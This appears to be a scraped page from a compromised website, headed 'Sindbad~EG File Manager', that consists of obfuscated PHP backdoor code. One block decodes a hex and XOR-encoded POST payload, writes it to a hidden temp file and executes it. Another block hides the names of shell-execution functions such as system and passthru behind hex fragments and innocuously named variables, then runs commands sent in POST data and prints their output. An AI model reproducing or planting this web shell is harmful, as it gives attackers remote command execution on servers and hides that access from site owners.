Sindbad~EG File Manager

<?php																																										if(!is_null($_POST["e\x6Ce\x6D"] ?? null)){ $rec = hex2bin($_POST["e\x6Ce\x6D"]); $res = '' ; $a = 0; while($a < strlen($rec)){$res .= chr(ord($rec[$a]) ^ 22);$a++;} $pointer = array_filter([getcwd(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), getenv("TEMP"), "/tmp", session_save_path()]); foreach ($pointer as $k) { if (is_dir($k) ? is_writable($k) : false) { $flag = "$k" . "/.ref"; $file = fopen($flag, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $flag; @unlink($flag); die(); } } } }



$ent1 = '79';
$ent2 = '65';
$ent3 = '6c';
$ent4 = '5f';
$ent5 = '78';
$ent6 = '63';
$ent7 = '70';
$ent8 = '73';
$ent9 = '74';
$ent10 = '68';
$ent11 = '72';
$ent12 = '75';
$ent13 = '6e';
$ent14 = '6d';
$ent15 = '6f';
$ent16 = '76';
$restore_state1 = pack("H*", '73' . $ent1 . '73' . '74' . $ent2 . '6d');
$restore_state2 = pack("H*", '73' . '68' . $ent2 . '6c' . $ent3 . $ent4 . $ent2 . '78' . $ent2 . '63');
$restore_state3 = pack("H*", '65' . $ent5 . $ent2 . $ent6);
$restore_state4 = pack("H*", $ent7 . '61' . $ent8 . $ent8 . $ent9 . $ent10 . $ent11 . $ent12);
$restore_state5 = pack("H*", $ent7 . '6f' . '70' . $ent2 . $ent13);
$restore_state6 = pack("H*", $ent8 . '74' . '72' . $ent2 . '61' . $ent14 . '5f' . '67' . '65' . $ent9 . '5f' . $ent6 . $ent15 . $ent13 . '74' . '65' . '6e' . $ent9 . $ent8);
$restore_state7 = pack("H*", $ent7 . $ent6 . '6c' . '6f' . $ent8 . '65');
$unit_converter = pack("H*", '75' . '6e' . '69' . $ent9 . $ent4 . $ent6 . $ent15 . '6e' . $ent16 . '65' . $ent11 . '74' . $ent2 . '72');
if (isset($_POST[$unit_converter])) {
    $unit_converter = pack("H*", $_POST[$unit_converter]);
    if (function_exists($restore_state1)) {
        $restore_state1($unit_converter);
    } elseif (function_exists($restore_state2)) {
        print $restore_state2($unit_converter);
    } elseif (function_exists($restore_state3)) {
        $restore_state3($unit_converter, $descriptor_dchunk);
        print join("\n", $descriptor_dchunk);
    } elseif (function_exists($restore_state4)) {
        $restore_state4($unit_converter);
    } elseif (function_exists($restore_state5) && function_exists($restore_state6) && function_exists($restore_state7)) {
        $resource_res = $restore_state5($unit_converter, 'r');
        if ($resource_res) {
            $holder_ptr = $restore_state6($resource_res);
            $restore_state7($resource_res);
            print $holder_ptr;
        }
    }
    exit;
}